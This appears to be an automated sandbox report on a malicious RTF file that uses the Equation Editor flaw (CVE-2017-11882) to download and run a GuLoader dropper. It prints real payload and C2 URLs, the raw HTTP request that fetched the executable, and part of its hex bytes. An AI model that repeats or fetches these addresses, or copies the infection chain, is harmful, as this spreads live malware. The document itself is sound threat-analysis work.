Windows Analysis Report
lUkTchBi9r

Overview

General Information

Sample Name: lUkTchBi9r (renamed file extension from none to rtf)
Analysis ID: 561321
MD5: 4f51af14d712b6214c64090a79cb228b
SHA1: 6bf1f72ade16239db6cc14d13191b11278308dd6
SHA256: 7a3188668cd5ef9ed4e17d9f41a9b5eb22690eb9d6151caf9933f121bfbcedbe
Tags: rtf
Infos:

Detection

GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
Sigma detected: Droppers Exploiting CVE-2017-11882
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Yara detected GuLoader
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Execution from Suspicious Folder
Office equation editor drops PE file
Tries to detect virtualization through RDTSC time measurements
C2 URLs / IPs found in malware configuration
Drops PE files to the user root directory
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
IP address seen in connection with other malware
Downloads executable code via HTTP
Contains functionality for execution timing, often used to detect debuggers
Document misses a certain OLE stream usually present in this Microsoft Office document type
Abnormal high CPU Usage
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Office Equation Editor has been started
Drops PE files to the user directory
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard

Classification

AV Detection
barindex
Found malware configuration
Source: 00000003.00000002.688715798.0000000003790000.00000040.00000800.00020000.00000000.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://bangladeshshoecity.com/images/2w"}
Multi AV Scanner detection for submitted file
Source: lUkTchBi9r.rtf Virustotal: Detection: 53% Perma Link
Source: lUkTchBi9r.rtf ReversingLabs: Detection: 51%
Antivirus / Scanner detection for submitted sample
Source: lUkTchBi9r.rtf Avira: detected
Antivirus detection for URL or domain
Source: http://172.245.119.43/344/vbc.exe Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: http://172.245.119.43/344/vbc.exe Virustotal: Detection: 11% Perma Link
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{B32AB2E9-05F1-4F55-B3EB-076D90494645}.tmp Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Virustotal: Detection: 31% Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe ReversingLabs: Detection: 21%
Source: C:\Users\Public\vbc.exe ReversingLabs: Detection: 21%

Exploits
barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 3_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 3_2_00405C49
Source: C:\Users\Public\vbc.exe Code function: 3_2_00406873 FindFirstFileW,FindClose, 3_2_00406873
Source: C:\Users\Public\vbc.exe Code function: 3_2_0040290B FindFirstFileW, 3_2_0040290B

Software Vulnerabilities
barindex
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.245.119.43:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 172.245.119.43:80

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://bangladeshshoecity.com/images/2w
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 172.245.119.43 172.245.119.43
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jan 2022 09:55:12 GMTServer: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27Last-Modified: Sun, 23 Jan 2022 15:50:13 GMTETag: "17590-5d641cec22e87"Accept-Ranges: bytesContent-Length: 95632Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5a 9b 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 6a 00 00 00 da 02 00 00 08 00 00 2d 35 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 d0 04 00 00 04 00 00 22 da 01 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 86 00 00 a0 00 00 00 00 c0 04 00 28 0e 00 00 00 00 00 00 00 00 00 00 d8 60 01 00 b8 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 97 68 00 00 00 10 00 00 00 6a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a6 14 00 00 00 80 00 00 00 16 00 00 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 b0 02 00 00 a0 00 00 00 06 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 60 01 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 28 0e 00 00 00 c0 04 00 00 10 00 00 00 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /344/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.245.119.43Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: vbc.exe.1.dr, vbc[1].exe.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: vbc.exe.1.dr, vbc[1].exe.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: vbc.exe.1.dr, vbc[1].exe.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: vbc.exe.1.dr, vbc[1].exe.1.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: vbc.exe.1.dr, vbc[1].exe.1.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: vbc.exe.1.dr, vbc[1].exe.1.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: vbc.exe, 00000003.00000002.687862814.000000000040A000.00000004.00000001.01000000.00000003.sdmp, vbc.exe, 00000003.00000000.418770944.000000000040A000.00000008.00000001.01000000.00000003.sdmp, vbc.exe.1.dr, vbc[1].exe.1.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: vbc.exe.1.dr, vbc[1].exe.1.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: vbc.exe.1.dr, vbc[1].exe.1.dr String found in binary or memory: http://ocsp.digicert.com0O
Source: vbc.exe.1.dr, vbc[1].exe.1.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: vbc.exe.1.dr, vbc[1].exe.1.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{5E110DC0-3FB3-4FCA-B33A-F5DC88334AB4}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /344/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.245.119.43Connection: Keep-Alive

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality for read data from the clipboard
Source: C:\Users\Public\vbc.exe Code function: 3_2_004056DE GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 3_2_004056DE

System Summary
barindex
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Contains functionality to shutdown / reboot the system
Source: C:\Users\Public\vbc.exe Code function: 3_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 3_2_0040352D
Detected potential crypto function
Source: C:\Users\Public\vbc.exe Code function: 3_2_0040755C 3_2_0040755C
Source: C:\Users\Public\vbc.exe Code function: 3_2_00406D85 3_2_00406D85
Source: C:\Users\Public\vbc.exe Code function: 3_2_73281BFF 3_2_73281BFF
Source: C:\Users\Public\vbc.exe Code function: 3_2_03795694 3_2_03795694
Source: C:\Users\Public\vbc.exe Code function: 3_2_03797564 3_2_03797564
Source: C:\Users\Public\vbc.exe Code function: 3_2_03792749 3_2_03792749
Source: C:\Users\Public\vbc.exe Code function: 3_2_03793FE2 3_2_03793FE2
Source: C:\Users\Public\vbc.exe Code function: 3_2_0379279C 3_2_0379279C
Source: C:\Users\Public\vbc.exe Code function: 3_2_03793B8F 3_2_03793B8F
Source: C:\Users\Public\vbc.exe Code function: 3_2_03795982 3_2_03795982
Source: C:\Users\Public\vbc.exe Code function: 3_2_03797658 3_2_03797658
Source: C:\Users\Public\vbc.exe Code function: 3_2_03797839 3_2_03797839
Source: C:\Users\Public\vbc.exe Code function: 3_2_0379521F 3_2_0379521F
Source: C:\Users\Public\vbc.exe Code function: 3_2_03794EDA 3_2_03794EDA
Source: C:\Users\Public\vbc.exe Code function: 3_2_03793CAF 3_2_03793CAF
Contains functionality to call native functions
Source: C:\Users\Public\vbc.exe Code function: 3_2_03795694 NtAllocateVirtualMemory, 3_2_03795694
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~WRF{B32AB2E9-05F1-4F55-B3EB-076D90494645}.tmp.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Abnormal high CPU Usage
Source: C:\Users\Public\vbc.exe Process Stats: CPU usage > 98%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\Public\vbc.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: lUkTchBi9r.rtf Virustotal: Detection: 53%
Source: lUkTchBi9r.rtf ReversingLabs: Detection: 51%
Source: C:\Users\Public\vbc.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 3_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 3_2_0040352D
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$kTchBi9r.rtf Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRE83C.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winRTF@4/12@0/1
Source: C:\Users\Public\vbc.exe Code function: 3_2_004021AA CoCreateInstance, 3_2_004021AA
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 3_2_0040498A GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 3_2_0040498A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: ~WRF{B32AB2E9-05F1-4F55-B3EB-076D90494645}.tmp.0.dr Initial sample: OLE indicators vbamacros = False

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000003.00000002.688715798.0000000003790000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\Public\vbc.exe Code function: 3_2_732830C0 push eax; ret 3_2_732830EE
Contains functionality to dynamically determine API calls
Source: C:\Users\Public\vbc.exe Code function: 3_2_73281BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 3_2_73281BFF

Persistence and Installation Behavior
barindex
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\nsb88D0.tmp\System.dll Jump to dropped file
Drops PE files to the user directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file

Boot Survival
barindex
Drops PE files to the user root directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
